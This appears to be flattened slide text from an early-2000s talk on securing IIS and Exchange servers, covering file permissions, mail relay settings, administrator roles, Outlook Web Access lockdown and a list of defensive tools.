Everyone (X) Permissions CGI’s - (.exe, .dll, .cmd, .pl) Administrators (Full Control) System (Full Control) Everyone (X) Script Files - (.asp) Administrators (Full Control) System (Full Control) Permissions Everyone (X) Include Files - (.inc, .shtm, .shtml) Administrators (Full Control) System (Full Control) Permissions Permissions Everyone (R) Static Content - (.txt, .gif, .jpg, .html) Administrators (Full Control) System (Full Control) Exchange is one of the few servers that does outgoing mail authentication well Take advantage of that and don’t an open relay (5.5) Anti-Virus Use Encrypted File System (EFS) to protect data Exchange Internet Mail Connector Limit your outgoing size Relaying from DMZ server to Exchange Use sendmail to relay all mail to an internal exchange server Or with another copy of Exchange: install Exchange, add the Internet Mail Connector, and add it to your existing site. No mailboxes or folders are required Exchange Setup Exchange Administrators (2000) Not All Admins are Full Admins Exchange Administrator Exchange Full Administrator Exchange View Only Administrator Security Page HKCU\Software\Microsoft\Exchange\ExAdmin Value: ShowSecurityPage Date: 1 (REG_DWORD) Tracking Logs Remove Everyone Read \Exchsrvr\%COMPUTERNAME%.log Outlook Web Access Lock Down IIS Use SSL Front End / Back End Mode http://www.microsoft.com/Exchange/techinfo/deployment/2000/E2KFrontBack.asp Exchange Diagram Tools URL Scan (Microsoft) Baseline Security Analyzer (Microsoft) IIS Lockdown (Microsoft) Secure IIS (Eeye) Tripwire for NT (Tripwire) Anti-Virus (Symantec, McAfee) http://www.23.org/~humperdink/ Hire a Security Company Q & A Y’all ask me stuff [email protected] http://www.23.org/~humperdink/ http://www.covertsystems.net
pdf